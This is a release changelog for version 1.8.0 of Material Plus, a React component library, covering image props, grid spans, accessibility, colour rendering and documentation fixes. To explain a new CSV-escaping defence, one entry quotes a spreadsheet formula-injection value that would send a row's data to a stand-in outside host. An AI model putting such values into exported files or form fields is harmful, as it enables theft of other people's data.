Repository navigation
Material Plus 1.8.0
MPImage grew the eight props a picture actually needs — a turn, a mirror, a crop anchor, a letterbox, a real placeholder — and the rest of the release is what a pass over every other component turned up: a CSV that a spreadsheet will not run, five accessibility gaps in components that had none, an Intl cache the whole library reads through, and a documentation site whose Korean links now land where they point.
Breaking changes
-
A lone
widthorheightonMPImagesizes the box. The two together are still the file's size and still reserve its proportion. One of them alone used to reach the<img>and change nothing, because the picture always filled its box. Nowheightalone makes the box that tall and as wide as its container, or as wide asratiomakes it, andwidthalone makes the box that wide, no wider than its container. Code that passed one dimension as a hint about the file now draws at that size: pass both dimensions, or remove the one. -
MPDataTable's CSV defuses a cell a spreadsheet would run as a formula. A cell beginning=,+,-or@is a formula to Excel, Sheets and LibreOffice, and the rows in a data table are usually things other people typed — so=HYPERLINK("https://collect.example/?r="&A1)in a name column was one click from posting the row beside it to somebody else's server, on the reader's own machine and out of this component's reach. Such a cell now goes out with an apostrophe in front, which all three read as "the rest of this is text" and strip on the way in. A number keeps its sign:-5and+82 2 555 0100begin with a formula character and are not formulas. A file bound for a parser rather than for a person needsexportEscapeFormulas={false}— a database loader has no apostrophe rule and takes the character as part of the value. -
An
MPImagewithpreviewfills its container, as one without it does. The buttonpreviewdraws was as wide as the picture inside it, so a file narrower than its container drew at its own width once it could be opened, and at the container's width when it could not. Both are the container's width now. To keep a small picture at its own size, give it a lonewidth, such as the file's width in pixels: the box is then that wide and no wider than its container, which is what the button used to do.
Added
-
MPDataTabletakesexportEscapeFormulas. It turns off the formula escaping described above, for the one case where that escaping is wrong: a file going to a parser rather than to a person. @defaulttrue -
MPAppLogotakestargetandrel. Both already reached the<a>anhrefmakes, as part of the element's own prop set, and neither was documented or wired to anything. They are named props now andtarget="_blank"gets arelon its own, which is the fix below. -
fit="scale-down"onMPImageandMPAspectRatio. It draws likecontain, but never enlarges a file smaller than its box.MPImageFitandMPAspectFitboth take it, and a box with a fixed height, from the change above, is where the choice of fit shows. -
MPImageturns a picture withrotate, a quarter turn at a time. It takes0,90,180or270degrees clockwise, and any other number is rounded to the nearest quarter. A quarter turn swaps the box's proportion: it is reserved fromwidthandheightwhen both are given, read from the file when it loads otherwise, and left alone whenratiois set. The turn is drawn with therotateproperty, so atransformof your own still applies, andpreviewopens the picture turned. -
MPImagemirrors a picture withflip. It takes'horizontal','vertical'or'both', measured on the screen, sohorizontalswaps left and right whether or not the picture is turned. The mirror is drawn with thescaleproperty, which leavestransformfree, andpreviewopens the picture mirrored. -
MPImagetakesposition: which part of the picture a crop keeps. It takes the centre, a side, a corner or two percentages, and also decides wherecontain,noneandscale-downleave their empty space. The value is read on the picture as shown, sotopkeeps the top of a picture that is turned or mirrored, and it stays physical on a right-to-left page. A value in any other form reachesobject-positionunchanged. -
MPImagefills the roomfitleaves withletterbox.'blur'draws the picture again behind itself, covering the box and blurred, the way a video player fills the sides of a portrait clip. The copy is hidden from assistive technology and the pointer, takes the picture's turn, mirror and position, and is given exactly what the picture loads from, so the file is fetched once. It is drawn only forcontain,noneandscale-down. Any other string is painted behind the picture as a CSSbackground. -
MPImage'splaceholdertakes a picture.{ src, blur }draws a small copy of the file, a data URI or aBlobin place of the shimmer while the file arrives, fitted, placed, turned and mirrored like the picture.blur: trueis a 20px radius and a number is a radius in pixels. The stand-in stays opaque until the picture has faded in over it and is then hidden in one step, so the page never shows through a cross-fade, and it is removed if the file fails. ABlobis drawn through an object URL that is revoked when the Blob is replaced or the image unmounts. Like the shimmer, it needs a reserved box. -
MPImagetakespriority, for the picture a page is judged by. It setsloading="eager"and a high fetch priority, and aloadingorfetchPrioritywritten out on the image still wins. The attribute is spelled the way the running React knows it,fetchPriorityin 19 andfetchpriorityin 18, so neither warns. The documentation now describesloading,decodingandfetchPriority, which already passed through to the<img>. -
MPGridItemtakesspan="auto": exactly the width of what is inside it.MPGridSpanhad'grow'for one end of the question a column count cannot answer — the width the row has left — and nothing for the other end, an item that is the size of its own contents. The two pair, and the layout that wants both is a bar with a group at each end: transport controls at'grow', and at'auto'however many icon buttons the page turned out to need. That count is a runtime question, so a share of twelve columns is either too small or too large — four 32px buttons need 128px,large: 2of a 768px bar is exactly 128px, and the fraction of a pixel rounding takes off wrapped the last button onto a second row and doubled the height of the bar.It is responsive like every other span, and a number at a wider class writes the columns back over it. An
'auto'item does not shrink, which nothing in this grid does, so contents wider than the row overflow rather than squeezing what is beside them. The keyword is one nocalc()can produce, so it arrives as a wholewidthon a rung of its own rather than as a number inside the column arithmetic — thirty-five slots reset at a grid boundary now rather than thirty.
Changed
-
MPCarousel's arrows sit at 85% rather than solid. A slide is usually a photograph, and two full-strength discs of the accent on one is chrome shouting over the thing it is there to move. The alpha is on the container and not on the button:opacitywould take the glyph down with it, and the glyph against its own disc is the contrast that has to survive. Eighty-five is the lowest step that still clears 4.5:1 over a white slide against the default source — 4.73 there, against 5.04 at 88% and 4.26 at 80%. Hover, focus and a press take it back to solid, and a disabled arrow keeps the specification's own treatment. MD3 names no carousel arrow at all, so this is the library's decision rather than a token being followed. -
The dependencies are current, and the test runner is on vitest 5.
@base-ui/reactmoves to 1.8,lucide-reactto 1.47, React and its types to 19.3, and the rest of the toolchain to its newest.eslintandtypescriptare deliberately held where they were.lucide-react1.47 is the one update a consumer can measure: it costs about 0.8 kB gzipped on any bundle that draws a glyph, which putsMPButtonat 3.8 kB where it was 3.0 and the whole library at 130.6 where it was 129.7. A bundle with no glyph in it —MPBox— is unchanged. Nothing in the library's own code changed to meet any of these. -
Every
Intlformatter the library builds is now cached, keyed on what it was asked for. Constructing one resolves a locale and loads the data behind the options; the object that comes back then formats for free, so a formatter built per value is the one cost worth not paying. The date module had worked this out and cached its own; the charts,MPStatistic,MPSparkline,MPPieChart, the time axis and the text segmenter behindMPAnimateSplithad not — a pie built a percent formatter per slice and a split built a segmenter per word.MPAnimateCounterwas the worst of them: it memoised on anoptionsprop, so a caller writing that object inline rebuilt the formatter on every frame of the count. The cache reads what the options say rather than which object said it, so an inline literal hits.localeWeekStartandisHour12, which the four pickers call in their render body, are cached on the locale as well. -
The package's links point at the repository that exists.
repository,bugsand the README's badges all namedjooy2/material-plus; the repository isjooy2/material-plus-uiand has been answering for the old name on a redirect. npm rendersrepositoryas the source link on the package page andbugsis wherenpm bugssends a reader, so both were one cleared redirect away from being dead rather than merely indirect. Twelve links across nine files, including the documentation site's own GitHub and edit links, which are derived fromrepository.urland moved on their own. -
The package describes itself by what it is, rather than by what other libraries are not.
descriptionread "the components other Material libraries do not ship, and wider versions of the ones they do", which places the library next to its neighbours instead of saying what it is. It now leads with the specification it was written from and with what it adds past that — the charts, the data table and the command palette the specification does not name.npm prints that sentence on the package page, and the documentation site prints it on every page that declares no description of its own, so the site's English copy is now read from
package.jsonrather than kept beside it: two hand-maintained copies of one paragraph is how a package and its site end up describing different libraries. The Korean is a translation of the same sentence,llms.txttakes both from there, and the README's opening paragraph and the two pages that quoted the old sentence say the new one instead. -
authorand the licence carry a contact page rather than a personal address. Both named a personal mailbox and now readCDGet (https://cdget.com).authoris published metadata, so the old address was on the npm page; every contact route in the project is cdget.com/contact. -
The colour roles are drawn in browsers without relative colour syntax, which puts the floor at Chrome and Edge 111, Firefox 113 and Safari 16.4. Every source-derived role is written with relative colour syntax, and a browser that cannot compute one drops it without a sound: in Chromium 111 and Firefox 113 all 24 were transparent, so a filled button had no fill and a dialog had no sheet behind its text, and WebKit 16.4 and 17.4 lost the tertiary family.
src/styles.cssnow writes the whole default scheme out a second time, light and dark, as the colours a current browser draws, behind an@supports not (…)for the syntax the roles use. Chrome and Edge before 119, Firefox before 128 and Safari before 18 draw that copy;--mp-source-colorchanges nothing there, and--mp-sys-color-*still does.Measured in Playwright's builds of Chromium 111, Firefox 113, 127 and 128 and WebKit 16.4, 17.4 and 18.0, and in Chrome for Testing 122: all 58 role values are within two steps of a current Chromium's, and every documentation demo renders.
test/styles/relative-colour.test.tsxholds the copy to the roles.
Documentation
-
The nine charts have a Charts group, under Motion. They were filed under Display beside the icon and the avatar, which is the category for "it shows something and nothing more" and does not describe a line chart. They are a family rather than a category — a reader wants all of them or none — and the specification names not one of them, so the group sits at the end of the list with Motion rather than opening it alphabetically. Their pages move to
/components/charts/, and the gallery on the all-components page groups them the same way. -
useMPConfirmhas a Hooks group of its own, and is spelled the way it is imported. It was filed under Feedback beside the components, and the sidebar generator capitalises the first letter of every row it names — which turned a hook intoUseMPConfirm, a name that is in no file and that nobody would type. The page moves to/components/hooks/confirmand the generator's one wrong shape is put back. -
The package has two runtime dependencies, and the documentation says so.
highlight.jsjoinedlucide-reactwhenMPCodeBlockarrived, and the README, both front pages and the colour and date picker pages still said there was one. The grammars behind the second sit behind animport(), so a page that renders no code block downloads none of them — which is the part that was worth saying and was being said as a dependency count instead. -
The front page says what the library is, and then shows six of it running. The headline was "the Material components you keep writing yourself", which is the argument the section below it already makes at length rather than the thing a reader opens the page to find out. It is the specification claim now, and the tagline is what the library puts on top of that claim: a wider range of components, a design that goes further, and the options for running the whole thing tighter or spreading it across more width.
The section under it argued the old headline, so it argues this one instead — where the specification was followed, and where it stops and a screen does not. The button ladder is the example it gives:
lgandxlare 64px and 72px because the next size after the specification's 56px is 96px, and a 96px button beside a 64px field is not a row. The page's<meta name="description">carried the old headline's framing too, in both locales, and now carries this one.Two sections are new. Features is twenty-one names and no prose, for a reader who is scanning rather than reading — every one of them a thing the library has, from the IME-safe field to the Tailwind v4 token sheet. Preview sits under the install instructions and holds
MPTextField,MPButton,MPDatePicker,MPLineChart,MPDataTableandMPAlert, running in the page and each linking to its own documentation. Until now the front page asked a reader to install the package before it showed them a single component.The hero mark is a 512px file where it was 256px, re-exported from the full-size artwork and framed exactly as the old one was. It is drawn at 256px rather than 160px and still has pixels in hand on a 2× display, and the same file is the site's
og:image, where 256px was small for a social card. -
The demos draw real pictures now, where before they drew gradients. A component whose whole argument is "a picture that is never an empty box" was showing the empty box: every
MPAvataron the site was a pair of initials,MPImageopened an inline SVG, andMPAppLogo'ssrc— one of the four things the page says can be the mark — had no example at all. Twenty-one demos and the all-components grid now carry photographs, portraits, drawn artwork and product marks.Two props got their first demonstration out of it.
previewSrcis finally the pair it was written for: a 480px thumbnail on the page and the 1200px file fetched only when somebody opens the picture, which is visible in the network panel rather than only claimed in prose.MPChatBubble'spreview.imagewas documented and never drawn.The files sit in
docs/public/samplesas resized WebP copies of jooy2/sample-assets, which carries this repository's licence and copyright, and the photographs and drawings keep a thumbnail beside the full file. The demos reach for the thumbnail: a 320px card holding a 1200px photograph is the mistake a component library's own site is the last place to make. -
The community files were templates with the blanks still in them.
CONTRIBUTING.mdopened with "Contributing to Project", told a reader to email a maintainer who is not named anywhere, and described no part of this repository. It now carries the layout, the commands, the fact that the tests need a real browser installed and howVITEST_BROWSERpicks the engine, and the rule that a page added todocs/engets one indocs/koeven if nobody translates it yet.SECURITY.mdsays which version is supported and what a useful report contains. The issue template's contact links were three commented-out examples pointing at GitHub's own pages, and are now the documentation, the contact page and the advisory form. -
The code of conduct is Contributor Covenant 2.1. It had been 2.0, which is the version before caste and colour were added to the pledge.
-
The README stopped listing two components as though they were all of them. The table held
MPTextFieldandMPIconagainst a hundred and twenty-six components with pages of their own, and read as a complete inventory rather than a sample. It is a sentence and a link now. The README also links the code of conduct and the security process, which it never did, and says where to support the work. -
The README shows the components before it describes them. A picture under the tagline puts the core controls around the mark — fields, a select, a switch, radios and checkboxes, buttons and chips, a segmented button, pagination, an alert, a slider, a progress bar, a meter, avatars, a badge and a rating. It is linked by absolute URL for the same reason the logo is: npm renders the README too, and the file is not in the tarball.
-
The documentation stylesheet names its sources, and Tailwind stopped reading class names out of prose. The entry point listed two
@sourcedirectories and a comment claiming those were all Tailwind could see. They were not: withoutsource(none)Tailwind adds automatic detection on top of whatever is listed and walks the whole repository, Markdown included. It found the broken arbitrary value this changelog quotes in a code fence — the one the 1.4.0 entry exists to explain — compiled it back into a rule, and lightningcss rejected it on every build. That warning has been in the build output ever since the entry was written. Twenty-eight utilities in the site's stylesheet came from documentation describing them rather than using them; the sheet is 4.7 kB smaller without them, and no class a page actually uses was lost.Turning detection off exposed a second thing.
src/styles.csscarries its own@source '.', which is what gives a consumer the components' utilities — that line works, through the Tailwind CLI and under asource(none)of their own, both checked rather than assumed. What it does not survive is the documentation entry point's relative@import: Vite inlines that before@tailwindcss/postcsssees it, so the.resolves against the wrong directory. Automatic detection had been covering for it, and the site now namessrcitself. -
The site says which browsers the library runs in. A Browser support page under Discover more puts the floor at Chrome and Edge 111, Firefox 113 and Safari 16.4, says what sets each number, and lists the eight things that are reduced at the older end — theming from the source colour before Chrome 119, Firefox 128 and Safari 18, and the counter and the lighting effect's motion before Firefox 128, among them. Every figure on it was either run in that engine or taken from MDN's compatibility data and the two libraries' own statements, and the page says which. Getting started and the README link to it. In
llms.txtit has a section of its own, and the changelog alone stays underOptional. -
The size figures in the README and the guide are the current build's. The whole stylesheet is 171.6 kB, 23.4 kB compressed, and the split sheets for one, five and ten components are 6.4, 9.4 and 12.2 kB; the JavaScript for five, ten and every component is 9.1, 13.4 and 129.1 kB. The old figures were measured for 1.7.0, before the fixes in this release, the colour changes above and below, and the additions to
MPImage. -
The Korean colour page stopped striking out half a sentence. The formatter had turned the two ranges in its paragraph on neutral hues into a pair of
~~marks, and everything between the two rendered struck out. The ranges are written with a dash now, as in English. -
A page description no longer puts a space before the punctuation after inline markup. The site builds each page's
<meta name="description">and itsllms.txtline from the lede, and replaced every tag with a space, so<strong>window size classes</strong>, notcame out asclasses , not. Inline tags now go without a trace; a tag that ends a line of text still becomes a space.
Fixed
-
MPCheckboxandMPRadiostay inside a column narrower than their label. Both areinline-block, which is a shrink-to-fit box: it takes the width of its contents and overflows a narrower parent rather than being capped by it. So a long label in a narrow column laid itself out at full width and printed over whatever was beside it — inMPTransfer's heading strip, the list's name ran straight over its count — and atruncateinside the label never had a width small enough to act on. Both are now held to their container's width, and a label that truncates does. -
MPAnchoranswers a press a router has already taken. VitePress, Docusaurus, Astro and Nuxt all claim same-page hash clicks, cancel them and scroll the window to where they think the target is — which, given acontainer, is the one scrollport they cannot mean, so the page jumped and the panel stayed where it was. A press that arrives already cancelled now scrollscontainerto the heading,offsetincluded. One that nobody cancelled is untouched: the browser scrolls, writes the hash and adds the history entry on its own, and withoutcontainernothing is bound at all. -
A new tab opened from
MPAppLogono longer gets a handle on the page it left.target="_blank"hands the opened page awindow.openerback into this one unless it is told not to, and the referrer travels with it. Five components work this out through one internal helper;MPAppLogotook an<a>'s whole prop set and did not, so a lockup linking off-site was the one link in the library with neithernoopenernornoreferrer. It now getsnoopener noreferrer, and arelof your own replaces that rather than extending it — the same bargain the other five document. -
MPToursays where the reader has arrived when the step changes. The card is announced once, when it opens, out of its title and description; every step after the first swaps those two inside a popup that never closed, so a reader pressing Next heard the button they were standing on and nothing about the step they had reached. The card now carries a polite live region with the position and the title — "Step 2 of 3. The second" — which is empty on the step it opened on, so the opening announcement is not doubled. -
MPStepper's panel has a name, and the step that opens it says so. The panel is drawn outside the rail rather than inside the step it belongs to, so nothing in the markup said the two were related and the panel was arole="group"with anaria-labelexplicitly set toundefined— announced as "group" and nothing else. It takes its name from the title of the step that is open now, and a pressable step points at it witharia-controlsand reports whether it is the one showing. A stepper whose steps carry no content promises no panel. -
MPTransfer's two lists are told apart. Each list is a group named after the heading already above it. A reader moving by form control heard the row's label and nothing saying which side of the transfer it was on, on the one component whose whole subject is which side a row is on. -
MPTransfersays what a press did. The arrow keeps the focus and the only thing that changes is which of two columns of near-identical rows a row is in, so moving five rows was silent. A polite live region now reports how many crossed and which list they landed in — named by your ownsourceLabelortargetLabelwhere that is a string, and by the locale's word for it otherwise.transfer.movedis a new message and is translated in all eighteen languages. -
Every Korean anchor lands on its heading. VitePress slugs a heading through
NFKDand drops the combining marks, which is howCafébecomescafe. Hangul has no combining marks, soNFKDsplit every syllable into jamo and all of them survived:모양became five code points that look exactly like the two anybody would type. Forty-seven hand-written anchors across the Korean pages therefore landed at the top of the page instead of at the heading, and nothing about the link or the id showed it. The slug composes its result now, which leaves every id with no Hangul in it byte for byte what it was. Four more links, in both locales, left off the_that a slug beginning with a digit carries. -
A page that moved leaves a stub at the address it used to answer. Two rounds of regrouping moved
useMPConfirmand the nine charts, and the site is GitHub Pages: there is no server to answer 301, so those twenty URLs simply stopped existing for anybody who had bookmarked or linked one. Each is now a canonical plus a zero-second refresh pointing at the page's new home. -
The note beside the sample images is no longer published as a page. VitePress compiles every
.mdunder the source directory,public/included, so a file telling a contributor what size a portrait is was being built into the site and listed in the sitemap for indexing — with a locale switcher pointing at a Korean translation that does not exist. -
MPAnimateFadecarried one of its sections twice. Twenty-six lines, verbatim but for two words, in the English page only; the Korean translation has it once. -
Six links in the props tables pointed at pages that are not there.
MPAlertandMPAspectRatiolinked one directory too high to the colour page,MPChipandMPMenulinked to each other as though they shared a section,MPPortallinked toMPDialogandMPTabletoMPListItemin the wrong ones. Both locales, since the tables are generated from the same comments. -
The documentation site declared the wrong size for its own share image.
og:image:widthandog:image:heightsaid 256 where the file is 512 square, so a crawler laid the card out around a box the image does not fill. -
MPImageno longer leaves a strip under a picture whose box has no reserved size. The<img>was inline, so it sat on a line box that keeps room for descenders, and a box with noratioand not both dimensions ended a few pixels below the picture on a page without a reset: 204 pixels tall around a 200 pixel picture in Chromium. Aletterboxcolour showed in that strip. The picture is a block now, and the box ends where it does. The documentation site resets images on its own, which is why none of it showed there. -
The ends of every palette are drawn in the colour they name. A container or
on-role takes its palette's full chroma at a tone where sRGB has only a fraction of it, or none, and the sheet left the browser to bring it in. Browsers do not do that at constant lightness and hue; Chromium, Firefox and WebKit all clip each channel on its own. The defaulton-primarywas therefore#b8ffffrather than white — the label on every filled button —primary-containera saturated cyan,on-errora salmon anderror-containera ΔE of 0.10 from MD3's. The accent and error roles now bring a colour that does not fit inside sRGB themselves: its chroma is reduced in OKLab at its own lightness and hue, by an estimate of what sRGB can hold there, and whatever still does not fit is moved towards the grey of that lightness in linear light. A colour that fits is left alone, and for the default source every role lands within a ΔE of 0.004 of an exact chroma reduction. Fed MD3's baseline source, the eighteen container andon-roles of the three accent families land within 0.02 of MD3's and the threeon-roles of the light scheme on its white; a vivid source's containers stop drifting in hue. The colour page has a section on it. With the default scheme written out for older browsers as well, under Changed, the whole sheet is 2.1 kB larger compressed than it was. -
MPRatingrings the focused star in Firefox before 121. The ring was drawn with:has(:focus-visible), which those versions do not have, so a star reached from the keyboard showed nothing. They now ring it through:focus-within, which rings a star clicked with a pointer as well. -
MPPillno longer crashes Safari 16.4. The description is drawn incolor: color-mix(in oklab, currentColor 72%, transparent), and acolor-mix()that readscurrentColorinsidecoloritself is what WebKit 16.4 took the whole tab down on — any page with a pill on it. The rule now sits behind the@supportscondition Tailwind uses for its own placeholder colour, which lets in every browser that is not Safari and Safari from 17. An older Safari draws the description in the title's colour. -
MPAnimateCountershows its value to a reader who asked for less motion. The counting copy read the animated--mp-countback on every frame, and with the keyframes switched off byprefers-reduced-motionthat is the registration's0: the tile said 0, 0 € and 0.00% where the statistic was, in every current browser, while the screen-reader copy said the right number. The counter now shows the value when there is no animation to read and once the run has finished. The same change lands it on the value in a Firefox old enough not to animate the property at all, where it used to stay atfrom— Firefox 113 is one. -
A native control no longer wears the browser's own border, fill or type on a page without a reset. The library ships no reset, so each component takes a
<button>'s styling off itself — and most of them took off the background and the font family and left the border. A filled, tonal, elevated or textMPButtonandMPToggle, a pressableMPChipand its ×,MPFloatingActionButton,MPSegmentedButton,MPTabs,MPMenubar,MPNavigationMenu,MPBottomNavigation,MPStepper's steps,MPNumberField's steppers, the triggers ofMPSelect,MPColorPicker,MPTreeSelectand the four date and time pickers,MPCombobox's input and buttons,MPCalendar's days, the time picker's rows,MPAlert's × and every chart's legend drew a two-pixel bevel, and several a grey fill or the browser's padding as well.MPPill,MPDataTable's sort buttons, a chart's legend andMPCombobox's input set their words in the browser's 13px, becausefont-family: inheritdoes not carry the size. The documentation site resets buttons on its own, which is why none of this showed there; a page with a reset of its own sees no change. -
A list a component draws no longer wears the browser's margin, indent or markers on a page without a reset. A
<ul>or an<ol>arrives with a block margin of one em, forty pixels of indent and a marker on every item.MPList,MPTimeline,MPNavigationMenuand a chart's legend kept all three that applied — the legend drew a bullet in front of every series — andMPBreadcrumbandMPStepper's rail kept the margin. A chart's tooltip had the same list inside it. Each now takes the three off itself, asMPPagination,MPAnchorandMPFilePickeralready did. -
A paragraph, quote or figure a component draws no longer wears the browser's margin on a page without a reset. Base UI's
Field.Descriptionrenders a<p>, which arrives with a block margin of one em, so the supporting text underMPCheckbox,MPSwitch,MPSelect,MPCombobox,MPNumberField,MPOtpField,MPRadioGroup,MPColorPicker,MPTreeSelectand the four date and time pickers sat an em below its control and an em above whatever came next, andMPRadio's own description did the same around a 12px line. The margin also spoiled the line's entrance: the field jumped by both margins before the row began to open, and dropped by them again when an error replaced the description.MPBlockquotekept1em 40pxon its<blockquote>and, with an attribution, on its<figure>, which set the words forty pixels in from their own rule.Each now says
m-0on the element it owns — on the description only, sinceField.Errorrenders a<div>with no margin. A host stylesheet that stylesblockquoteby name still outranks the zero, andMPBlockquote's comment says why that is left alone.test/styles/native-blocks.test.tsxmeasures each against a bare<p>,<blockquote>and<figure>in the same page. The documentation site zeroes these margins inside its previews, which is why none of it showed there. -
MPChipkeeps the tails of its letters. The label is truncated, and truncation clips at the line box, which the chip's one-em leading made shorter than the glyphs inside it — so every g, j, p, q and y lost its descender, at every size. The label's line box is now the font's own height. The chip is the same height and the words sit where they did. -
A field with no label drew its outline five pixels above the control. A browser paints a fieldset's block-start border through the middle of its legend rather than along the box's own top edge, so the shell pulls the box up by five to land that line on the control's top edge. The legend is rendered only when there is a label; the offset was applied either way. A labelless field therefore wore a 37px ring around a 32px
xscontrol, sitting 2.5px above the centre of whatever row it was in — which is how it was reported: a search box in a 48px header bar that does not quite line up with the icons beside it. The five pixels are now reserved only when there is a legend to reserve them for, on every control drawn on the shell:MPTextField,MPSelect,MPNumberField,MPCombobox,MPColorPickerand the four pickers. -
MPIcondrew a glyph smaller than thesizeit was given when the glyph carried a margin. The artwork is a flex item atwidth: 100%inside a box whose width is fixed, so100% + marginoverflows and flex took the difference out of the glyph rather than letting it overflow:<MPIcon icon={Tag} size={16} />under a page rule of[&_svg]:mr-1.25rendered 11×16, with nothing to say so. A margin aimed atsvgis what a migration off Material UI leaves behind, where theSvgIconwas the element to put one on. The glyph slots areshrink-0now, so a declared size is what gets drawn and a stray margin overflows where it can be seen. The icon page says where spacing belongs. -
The notch was cut wherever the page's
text-alignput it, and the label stayed at the inline start. A rendered<legend>is placed within the border it interrupts by its<fieldset>'stext-align, and the outline declared none of its own, so it inherited whatever was around it.MPFieldLabelis absolutely positioned and inherits nothing. Put a field inside a centred container — a sign-in card is the obvious one — and the gap opened in the middle of the top border while the label sat on the left, 165px away from it on a 345px card. The outline now declarestext-align: start, which isstartrather thanleftso the notch keeps following the writing direction under RTL. Same six shells as above.
Every release of this package is in the changelog on the docs site and in CHANGELOG.md at this tag.